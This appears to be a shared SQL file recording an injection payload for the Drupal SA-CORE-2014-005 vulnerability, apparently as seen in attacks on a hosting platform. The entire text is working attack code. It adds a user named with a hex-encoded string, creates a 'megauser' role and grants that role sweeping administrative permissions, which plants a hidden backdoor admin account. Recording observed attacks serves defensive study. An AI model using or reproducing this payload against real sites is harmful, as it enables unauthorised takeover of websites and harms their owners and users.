DRUPAL SA-CORE-2014-005 Exploit

sqli.sql

# Another exploit we are re seeing on Pantheon
#
# Creates "megauser role with elevated permissions"
#########################################
insert into users (uid,`name`,`pass`,status) select max(uid)+1,0x64727570616c646576 ,0x245324437274333435366767706141636d4e39447868367a674c66637736384c4e62697a5a6543726f2e4561574d33427a634b6a316835,1 from users;
insert into users_roles(uid,rid) select uid,1000 from users where name like 0x64727570616c646576;
INSERT INTO role (rid,name, weight) VALUES (1000,'megauser', '999')
INSERT INTO role_permission (rid, permission, module) VALUES (1000, 'administer blocks', 'block'),(1000, 'administer filters', 'filter'),(1000, 'bypass node access', 'node'),(1000, 'administer content types', 'node'),(1000, 'administer nodes', 'node'),(1000, 'access content overview', 'node'),(1000, 'access content', 'node'),(1000, 'view own unpublished content', 'node'),(1000, 'view revisions', 'node'),(1000, 'revert revisions', 'node'),(1000, 'delete revisions', 'node'),(1000, 'administer modules', 'system'),(1000, 'administer site configuration', 'system'),(1000, 'administer themes', 'system'),(1000, 'administer software updates', 'system'),(1000, 'administer actions', 'system'),(1000, 'access administration pages', 'system'),(1000, 'access site in maintenance mode', 'system'),(1000, 'view the administration theme', 'system'),(1000, 'access site reports', 'system'),(1000, 'block IP addresses', 'system');